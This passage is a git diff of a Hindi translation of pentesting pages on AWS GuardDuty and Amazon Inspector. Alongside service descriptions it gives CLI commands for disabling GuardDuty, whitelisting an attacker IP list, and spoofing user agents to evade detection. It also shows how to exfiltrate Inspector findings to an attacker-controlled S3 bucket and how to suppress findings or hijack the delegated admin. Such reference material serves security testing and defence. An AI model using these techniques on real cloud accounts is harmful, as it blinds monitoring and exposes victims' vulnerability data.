निकासी। - **Account compromise**: खाता समझौते के संकेतक सामान्य पैटर्न में असामान्य भू-स्थान या एनोनिमाइजिंग प्रॉक्सी से API कॉल, AWS CloudTrail लॉगिंग को निष्क्रिय करने के प्रयास, खाता पासवर्ड नीति को कमजोर करने वाले परिवर्तन, असामान्य इंस्टेंस या बुनियादी ढांचे की लॉन्चिंग, असामान्य क्षेत्र में बुनियादी ढांचे की तैनाती, क्रेडेंशियल चोरी, संदिग्ध डेटाबेस लॉगिन गतिविधि, और ज्ञात दुर्भावनापूर्ण IP पते से API कॉल शामिल हैं। -- **Bucket compromise**: गतिविधियाँ जो एक बकेट समझौते का संकेत देती हैं, जैसे क्रेडेंशियल दुरुपयोग का संकेत देने वाले संदिग्ध डेटा एक्सेस पैटर्न, एक दूरस्थ होस्ट से असामान्य Amazon S3 API गतिविधि, ज्ञात दुर्भावनापूर्ण IP पते से अनधिकृत S3 एक्सेस, और एक उपयोगकर्ता द्वारा S3 बकेट में डेटा पुनः प्राप्त करने के लिए API कॉल जो बकेट तक पहुँचने का कोई पूर्व इतिहास नहीं रखता या असामान्य स्थान से सक्रिय किया गया। Amazon GuardDuty लगातार AWS CloudTrail S3 डेटा घटनाओं (जैसे GetObject, ListObjects, DeleteObject) की निगरानी और विश्लेषण करता है ताकि आपके सभी Amazon S3 बकेट में संदिग्ध गतिविधियों का पता लगाया जा सके। +- **Bucket compromise**: गतिविधि जो एक बकेट समझौते का संकेत देती है, जैसे क्रेडेंशियल दुरुपयोग का संकेत देने वाले संदिग्ध डेटा एक्सेस पैटर्न, एक दूरस्थ होस्ट से असामान्य Amazon S3 API गतिविधि, ज्ञात दुर्भावनापूर्ण IP पते से अनधिकृत S3 एक्सेस, और एक उपयोगकर्ता द्वारा S3 बकेट में डेटा पुनः प्राप्त करने के लिए API कॉल जो बकेट तक पहुँचने का कोई पूर्व इतिहास नहीं रखता या असामान्य स्थान से सक्रिय किया गया हो। Amazon GuardDuty लगातार AWS CloudTrail S3 डेटा घटनाओं (जैसे GetObject, ListObjects, DeleteObject) की निगरानी और विश्लेषण करता है ताकि आपके सभी Amazon S3 बकेट में संदिग्ध गतिविधि का पता लगाया जा सके।
@@ -28,19 +28,19 @@ Alerts **GuardDuty कंसोल (90 दिन)** और CloudWatch Events म Finding summary: - Finding type -- Severity: 7-8.9 उच्च, 4-6.9 मध्यम, 01-3.9 निम्न -- क्षेत्र -- खाता आईडी -- संसाधन आईडी -- पहचान का समय -- कौन सा खतरा सूची का उपयोग किया गया +- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low +- Region +- Account ID +- Resource ID +- Time of detection +- Which threat list was used The body has this information: -- प्रभावित संसाधन -- क्रिया -- अभिनेता: IP पता, पोर्ट और डोमेन -- अतिरिक्त जानकारी +- Resource affected +- Action +- Actor: Ip address, port and domain +- Additional Information
@@ -52,13 +52,13 @@ Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/gua #### By Invitation -You can **अन्य खातों को** एक अलग AWS GuardDuty खाते में **निमंत्रित कर सकते हैं ताकि हर खाता उसी GuardDuty से निगरानी की जा सके**। मास्टर खाता सदस्य खातों को आमंत्रित करना चाहिए और फिर सदस्य खाते के प्रतिनिधि को निमंत्रण स्वीकार करना चाहिए। +You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. #### Via Organization -आप संगठन के भीतर किसी भी खाते को **GuardDuty प्रतिनिधि प्रशासक** के रूप में नामित कर सकते हैं। केवल संगठन प्रबंधन खाता एक प्रतिनिधि प्रशासक को नामित कर सकता है। +You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. -एक खाता जिसे प्रतिनिधि प्रशासक के रूप में नामित किया जाता है, एक GuardDuty प्रशासक खाता बन जाता है, निर्दिष्ट AWS क्षेत्र में GuardDuty स्वचालित रूप से सक्षम होता है, और उस क्षेत्र के भीतर संगठन के सभी खातों के लिए GuardDuty को सक्षम और प्रबंधित करने की **अनुमति** भी होती है। संगठन में अन्य खातों को इस प्रतिनिधि प्रशासक खाते से जुड़े GuardDuty सदस्य खातों के रूप में देखा और जोड़ा जा सकता है। +An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. ## Enumeration ```bash @@ -104,38 +104,38 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ### General Guidance -Try to find out as much as possible about the behaviour of the credentials you are going to use: +आप जिन क्रेडेंशियल्स का उपयोग करने जा रहे हैं, उनके व्यवहार के बारे में जितना संभव हो सके जानकारी प्राप्त करने की कोशिश करें: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- उपयोग के समय +- स्थान +- उपयोगकर्ता एजेंट / सेवाएँ (यह awscli, वेबकंसोल, lambda आदि से उपयोग किया जा सकता है...) +- नियमित रूप से उपयोग की जाने वाली अनुमतियाँ -With this information, recreate as much as possible the same scenario to use the access: +इस जानकारी के साथ, पहुँच का उपयोग करने के लिए यथासंभव समान परिदृश्य को फिर से बनाएं: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- यदि यह **एक उपयोगकर्ता या एक भूमिका है जिसे एक उपयोगकर्ता द्वारा एक्सेस किया गया है**, तो इसे समान घंटों में, समान भू-स्थान से (यदि संभव हो तो समान ISP और IP से) उपयोग करने की कोशिश करें +- यदि यह **एक सेवा द्वारा उपयोग की जाने वाली भूमिका है**, तो उसी क्षेत्र में समान सेवा बनाएं और वहां से समान समय सीमा में इसका उपयोग करें +- हमेशा इस प्रमुख द्वारा उपयोग की गई **समान अनुमतियों** का उपयोग करने की कोशिश करें +- यदि आपको **अन्य अनुमतियों का उपयोग करने या किसी अनुमति का दुरुपयोग करने की आवश्यकता है** (उदाहरण के लिए, 1.000.000 cloudtrail लॉग फ़ाइलें डाउनलोड करना) तो इसे **धीरे-धीरे** और AWS के साथ **न्यूनतम इंटरैक्शन** के साथ करें (awscli कभी-कभी लिखने से पहले कई पढ़ने वाली APIs को कॉल करता है) ### Breaking GuardDuty #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. +इस अनुमति के साथ आप GuardDuty को निष्क्रिय कर सकते हैं ताकि अलर्ट ट्रिगर न हों। ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` #### `guardduty:CreateFilter` -इस अनुमति के साथ हमलावरों के पास **खोजों के स्वचालित** संग्रह के लिए फ़िल्टर लागू करने की क्षमता होती है: +इस अनुमति वाले हमलावरों के पास **खोजों के स्वचालित** संग्रह के लिए फ़िल्टर लागू करने की क्षमता होती है: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -पिछले विशेषाधिकारों वाले हमलावर GuardDuty की [**विश्वसनीय IP सूची**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) को अपने IP पते को जोड़कर संशोधित कर सकते हैं और अलर्ट उत्पन्न करने से बच सकते हैं। +पिछले विशेषाधिकार वाले हमलावर GuardDuty की [**विश्वसनीय IP सूची**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) को अपने IP पते को जोड़कर संशोधित कर सकते हैं और अलर्ट उत्पन्न करने से बच सकते हैं। ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` @@ -160,7 +160,7 @@ GuardDuty सामान्य पेनिट्रेशन परीक् यह **उपयोगकर्ता एजेंट नाम** द्वारा पता लगाया जाता है जो API अनुरोध में पास किया जाता है।\ इसलिए, **उपयोगकर्ता एजेंट को संशोधित करना** GuardDuty को हमले का पता लगाने से रोकने के लिए संभव है। -इसे रोकने के लिए आप `botocore` पैकेज में `session.py` स्क्रिप्ट से खोज कर सकते हैं और उपयोगकर्ता एजेंट को संशोधित कर सकते हैं, या AWS CLI प्रॉक्सी के रूप में Burp Suite सेट कर सकते हैं और MitM के साथ उपयोगकर्ता-एजेंट को बदल सकते हैं या बस Ubuntu, Mac या Windows जैसे OS का उपयोग कर सकते हैं जो इस अलर्ट को सक्रिय होने से रोक देगा। +इससे बचने के लिए आप `botocore` पैकेज में `session.py` स्क्रिप्ट से खोज कर सकते हैं और उपयोगकर्ता एजेंट को संशोधित कर सकते हैं, या AWS CLI प्रॉक्सी के रूप में Burp Suite सेट कर सकते हैं और MitM के साथ उपयोगकर्ता-एजेंट बदल सकते हैं या बस Ubuntu, Mac या Windows जैसे OS का उपयोग कर सकते हैं जो इस अलर्ट को सक्रिय होने से रोक देगा। #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 81c3401cf..4542fb869 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,7 +6,7 @@ ### Inspector -Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों के लिए भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है। +Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों को भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है। ### Key elements @@ -36,7 +36,7 @@ Amazon Inspector में सॉफ़्टवेयर बिल ऑफ़ #### Export findings -Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं जो आगे के विश्लेषण या विशिष्ट तिथि और समय पर साझा करने के लिए होती हैं। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्ट में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या तिथि सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं। +Amazon Inspector निष्कर्षों को Amazon S3 Buckets, Amazon EventBridge और AWS Security Hub में निर्यात करने की क्षमता प्रदान करता है, जिससे आप पहचानी गई भेद्यताओं और एक्सपोजर की विस्तृत रिपोर्ट उत्पन्न कर सकते हैं जो आगे विश्लेषण या किसी विशेष तिथि और समय पर साझा करने के लिए होती है। यह सुविधा विभिन्न आउटपुट प्रारूपों जैसे CSV और JSON का समर्थन करती है, जिससे अन्य उपकरणों और प्रणालियों के साथ एकीकृत करना आसान हो जाता है। निर्यात कार्यक्षमता रिपोर्ट में शामिल डेटा को अनुकूलित करने की अनुमति देती है, जिससे आप गंभीरता, संसाधन प्रकार, या तिथि सीमा जैसे विशिष्ट मानदंडों के आधार पर निष्कर्षों को फ़िल्टर कर सकते हैं और डिफ़ॉल्ट रूप से आपके सभी निष्कर्षों को वर्तमान AWS क्षेत्र में सक्रिय स्थिति के साथ शामिल कर सकते हैं। निष्कर्षों को निर्यात करते समय, डेटा को निर्यात के दौरान एन्क्रिप्ट करने के लिए एक की प्रबंधन सेवा (KMS) कुंजी आवश्यक है। KMS कुंजी सुनिश्चित करती हैं कि निर्यातित निष्कर्ष अनधिकृत पहुंच से सुरक्षित हैं, संवेदनशील भेद्यता जानकारी के लिए एक अतिरिक्त सुरक्षा परत प्रदान करती हैं। @@ -52,7 +52,7 @@ Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद - **Agent-Based**: गहन निरीक्षण के लिए EC2 उदाहरणों पर SSM एजेंट स्थापित करना शामिल है। - **Hybrid Scanning**: कवरेज को अधिकतम करने और प्रदर्शन प्रभाव को कम करने के लिए एजेंट-आधारित और एजेंटलेस विधियों को संयोजित करता है। उन EC2 उदाहरणों में जहां SSM एजेंट स्थापित है, Inspector एजेंट-आधारित स्कैन करेगा, और जहां कोई SSM एजेंट नहीं है, वहां स्कैन एजेंटलेस किया जाएगा। -एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह सुविधा EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथों को परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक: +एक और महत्वपूर्ण विशेषता EC2 Linux उदाहरणों के लिए **गहन निरीक्षण** है। यह विशेषता EC2 Linux उदाहरणों के सॉफ़्टवेयर और कॉन्फ़िगरेशन का गहन विश्लेषण प्रदान करती है, जिसमें ऑपरेटिंग सिस्टम की भेद्यताएँ, अनुप्रयोग की भेद्यताएँ, और गलत कॉन्फ़िगरेशन शामिल हैं, जो एक व्यापक सुरक्षा मूल्यांकन सुनिश्चित करती हैं। यह **कस्टम पथों** और इसके सभी उप-निर्देशिकाओं के निरीक्षण के माध्यम से प्राप्त किया जाता है। डिफ़ॉल्ट रूप से, Amazon Inspector निम्नलिखित को स्कैन करेगा, लेकिन प्रत्येक सदस्य खाता 5 और कस्टम पथों को परिभाषित कर सकता है, और प्रत्येक प्रतिनिधि प्रशासक 10 तक: - `/usr/lib` - `/usr/lib64` @@ -64,21 +64,21 @@ Amazon Inspector Amazon EC2 उदाहरणों के लिए भेद Amazon Inspector Amazon Elastic Container Registry (ECR) कंटेनर छवियों के लिए मजबूत स्कैनिंग क्षमताएँ प्रदान करता है, यह सुनिश्चित करते हुए कि पैकेज भेद्यताएँ प्रभावी ढंग से पहचानी और प्रबंधित की जाती हैं। - **Basic Scanning**: यह एक त्वरित और हल्का स्कैन है जो कंटेनर छवियों में ज्ञात OS पैकेज भेद्यताओं की पहचान करता है, जो ओपन-सोर्स Clair प्रोजेक्ट से मानक नियमों के सेट का उपयोग करता है। इस स्कैनिंग कॉन्फ़िगरेशन के साथ, आपके रिपॉजिटरी को पुश पर स्कैन किया जाएगा, या मैनुअल स्कैन करते समय। -- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की पहचान की जा सके, उच्च सटीकता के साथ। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है। +- **Enhanced Scanning**: यह विकल्प पुश स्कैन के अलावा निरंतर स्कैनिंग सुविधा जोड़ता है। Enhanced scanning प्रत्येक कंटेनर छवि की परतों में गहराई से जाती है ताकि OS पैकेजों और प्रोग्रामिंग भाषाओं के पैकेजों में भेद्यताओं की उच्च सटीकता के साथ पहचान की जा सके। यह आधार छवि और किसी भी अतिरिक्त परतों का विश्लेषण करता है, संभावित सुरक्षा मुद्दों का एक व्यापक दृश्य प्रदान करता है। #### Amazon Lambda functions scanning Amazon Inspector AWS Lambda कार्यों और इसकी परतों के लिए व्यापक स्कैनिंग क्षमताएँ शामिल करता है, जो सर्वर रहित अनुप्रयोगों की सुरक्षा और अखंडता सुनिश्चित करता है। Inspector Lambda कार्यों के लिए दो प्रकार की स्कैनिंग प्रदान करता है: -- **Lambda standard scanning**: यह डिफ़ॉल्ट सुविधा आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य python-jwt जैसे पुस्तकालय के एक संस्करण का उपयोग करता है जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है। -- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट्स को कैप्चर करता है, जैसे कि हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में समस्या को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट्स शामिल हैं। +- **Lambda standard scanning**: यह डिफ़ॉल्ट विशेषता आपके Lambda कार्य और परतों में जोड़े गए सॉफ़्टवेयर भेद्यताओं की पहचान करती है। उदाहरण के लिए, यदि आपका कार्य किसी पुस्तकालय के संस्करण का उपयोग करता है जैसे python-jwt जिसमें ज्ञात भेद्यता है, तो यह एक निष्कर्ष उत्पन्न करता है। +- **Lambda code scanning**: सुरक्षा मुद्दों के लिए कस्टम अनुप्रयोग कोड का विश्लेषण करता है, जैसे कि इंजेक्शन दोष, डेटा लीक, कमजोर क्रिप्टोग्राफी, और एन्क्रिप्शन की कमी। यह पहचान की गई भेद्यताओं को उजागर करने वाले कोड स्निपेट्स को कैप्चर करता है, जैसे हार्डकोडेड क्रेडेंशियल्स। निष्कर्षों में समस्या को ठीक करने के लिए विस्तृत सुधार सुझाव और कोड स्निपेट्स शामिल हैं। #### **Center for Internet Security (CIS) scans** Amazon Inspector CIS स्कैन शामिल करता है ताकि Amazon EC2 उदाहरण ऑपरेटिंग सिस्टम को Center for Internet Security (CIS) से सर्वश्रेष्ठ प्रथा सिफारिशों के खिलाफ बेंचमार्क किया जा सके। ये स्कैन सुनिश्चित करते हैं कि कॉन्फ़िगरेशन उद्योग-मानक सुरक्षा बुनियादी बातों का पालन करते हैं। - **Configuration**: CIS स्कैन यह मूल्यांकन करते हैं कि क्या सिस्टम कॉन्फ़िगरेशन विशिष्ट CIS बेंचमार्क सिफारिशों को पूरा करते हैं, प्रत्येक जांच को एक CIS जांच ID और शीर्षक से जोड़ा जाता है। -- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या निर्धारित किए जाते हैं। +- **Execution**: स्कैन उदाहरण टैग और परिभाषित शेड्यूल के आधार पर किए जाते हैं या अनुसूचित होते हैं। - **Results**: स्कैन के बाद के परिणाम यह संकेत करते हैं कि कौन सी जांच पास, स्किप, या फेल हुई, प्रत्येक उदाहरण की सुरक्षा स्थिति में अंतर्दृष्टि प्रदान करते हैं। ### Enumeration @@ -182,7 +182,7 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` -### Post Exploitation +### पोस्ट एक्सप्लोइटेशन > [!TIP] > हमलावर के दृष्टिकोण से, यह सेवा हमलावर को कमजोरियों और नेटवर्क एक्सपोजर को खोजने में मदद कर सकती है जो उसे अन्य इंस्टेंस/कंटेनरों को समझौता करने में मदद कर सकती है। @@ -191,16 +191,16 @@ aws inspector list-rules-packages #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमलों को सक्षम किया जा सके। +एक हमलावर कमजोरियों या सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) की विस्तृत रिपोर्ट उत्पन्न कर सकता है और उन्हें आपके AWS वातावरण से एक्सफिल्ट्रेट कर सकता है। इस जानकारी का उपयोग विशिष्ट कमजोरियों, पुराने सॉफ़्टवेयर, या असुरक्षित निर्भरताओं की पहचान करने के लिए किया जा सकता है, जिससे लक्षित हमले संभव हो सकते हैं। ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: +उदाहरण दिखाता है कि कैसे सभी सक्रिय निष्कर्षों को Amazon Inspector से एक हमलावर द्वारा नियंत्रित Amazon S3 बकेट में और एक हमलावर द्वारा नियंत्रित Amazon KMS कुंजी के साथ निकाला जा सकता है: -1. **एक Amazon S3 बकेट बनाएं** और इसे एक नीति संलग्न करें ताकि यह पीड़ित Amazon Inspector से सुलभ हो: +1. **एक Amazon S3 बकेट बनाएं** और इसे पीड़ित Amazon Inspector से सुलभ बनाने के लिए एक नीति संलग्न करें: ```json { "Version": "2012-10-17", @@ -265,7 +265,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -एक हमलावर निर्दिष्ट निष्कर्ष रिपोर्ट या SBOM रिपोर्ट की पीढ़ी को रद्द कर सकता है, सुरक्षा टीमों को कमजोरियों और सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) के बारे में समय पर जानकारी प्राप्त करने से रोकता है, सुरक्षा मुद्दों की पहचान और सुधार में देरी करता है। +एक हमलावर निर्दिष्ट निष्कर्ष रिपोर्ट या SBOM रिपोर्ट की पीढ़ी को रद्द कर सकता है, जिससे सुरक्षा टीमों को कमजोरियों और सॉफ़्टवेयर बिल ऑफ मटेरियल्स (SBOMs) के बारे में समय पर जानकारी प्राप्त करने से रोका जा सकता है, सुरक्षा मुद्दों की पहचान और सुधार में देरी हो सकती है। ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id @@ -276,7 +276,7 @@ aws inspector2 cancel-sbom-export --report-id #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकेगा जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाने वाला नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को बाढ़ में डालकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है। +इन अनुमतियों के साथ एक हमलावर उन फ़िल्टरिंग नियमों में हेरफेर कर सकता है जो यह निर्धारित करते हैं कि कौन सी कमजोरियाँ और सुरक्षा मुद्दे रिपोर्ट किए जाते हैं या दबाए जाते हैं (यदि **क्रिया** SUPPRESS पर सेट की गई है, तो एक दबाव नियम बनाया जाएगा)। इससे सुरक्षा प्रशासकों से महत्वपूर्ण कमजोरियाँ छिप सकती हैं, जिससे इन कमजोरियों का शोषण करना बिना पहचान के आसान हो जाता है। महत्वपूर्ण फ़िल्टर को बदलकर या हटाकर, एक हमलावर अप्रासंगिक निष्कर्षों के साथ प्रणाली को भरकर शोर भी पैदा कर सकता है, जिससे प्रभावी सुरक्षा निगरानी और प्रतिक्रिया में बाधा आती है। ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -291,13 +291,13 @@ aws inspector2 delete-filter --arn एक हमलावर सुरक्षा प्रबंधन संरचना को महत्वपूर्ण रूप से बाधित कर सकता है। -- प्रतिनिधि प्रशासनिक खाता बंद करने पर, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्टों तक पहुँचने और प्रबंधित करने से रोक सकता है। -- एक अनधिकृत प्रशासनिक खाता सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को बंद करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके। +- प्रतिनिधि प्रशासनिक खाते को निष्क्रिय करके, हमलावर सुरक्षा टीम को Amazon Inspector सेटिंग्स और रिपोर्टों तक पहुँचने और प्रबंधित करने से रोक सकता है। +- एक अनधिकृत प्रशासनिक खाते को सक्षम करने से हमलावर को सुरक्षा कॉन्फ़िगरेशन को नियंत्रित करने की अनुमति मिलेगी, संभावित रूप से स्कैन को निष्क्रिय करने या सेटिंग्स को संशोधित करने के लिए ताकि दुर्भावनापूर्ण गतिविधियों को छिपाया जा सके। > [!WARNING] -> अनधिकृत खाता को प्रतिनिधि प्रशासक बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है। +> अनधिकृत खाते को प्रतिनिधि प्रशासनिक बनने के लिए पीड़ित के समान संगठन में होना आवश्यक है। > -> अनधिकृत खाता को प्रतिनिधि प्रशासक बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासक को बंद किया जाए, और अनधिकृत खाता को प्रतिनिधि प्रशासक के रूप में सक्षम करने से पहले, वैध प्रशासक को संगठन से प्रतिनिधि प्रशासक के रूप में हटा दिया जाए। इसे निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** +> अनधिकृत खाते को प्रतिनिधि प्रशासनिक बनने के लिए, यह भी आवश्यक है कि जब वैध प्रतिनिधि प्रशासनिक को निष्क्रिय किया जाए, और अनधिकृत खाते को प्रतिनिधि प्रशासनिक के रूप में सक्षम करने से पहले, वैध प्रशासनिक को संगठन से प्रतिनिधि प्रशासनिक के रूप में रद्द किया जाना चाहिए। यह निम्नलिखित कमांड के साथ किया जा सकता है (**`organizations:DeregisterDelegatedAdministrator`** अनुमति आवश्यक): **`aws organizations deregister-delegated-administrator --account-id --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)`** ```bash # Disable aws inspector2 disable-delegated-admin-account --delegated-admin-account-id @@ -318,11 +318,11 @@ aws inspector2 associate-member --account-id # Disassociate aws inspector2 disassociate-member --account-id ``` -- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों का बहिष्कार, कमजोरियों के अज्ञात शोषण की अनुमति देना। +- **संभावित प्रभाव**: सुरक्षा स्कैन से प्रमुख खातों को बाहर करना, कमजोरियों के अव्यक्त शोषण की अनुमति देना। #### `inspector2:Disable`, (`inspector2:Enable` & `iam:CreateServiceLinkedRole`) -`inspector2:Disable` अनुमति वाला एक हमलावर विशिष्ट संसाधन प्रकारों (EC2, ECR, Lambda, Lambda कोड) पर सुरक्षा स्कैन को निष्क्रिय करने में सक्षम होगा, निर्दिष्ट खातों के माध्यम से, AWS वातावरण के कुछ हिस्सों को बिना निगरानी और हमलों के प्रति संवेदनशील छोड़ देगा। इसके अलावा, 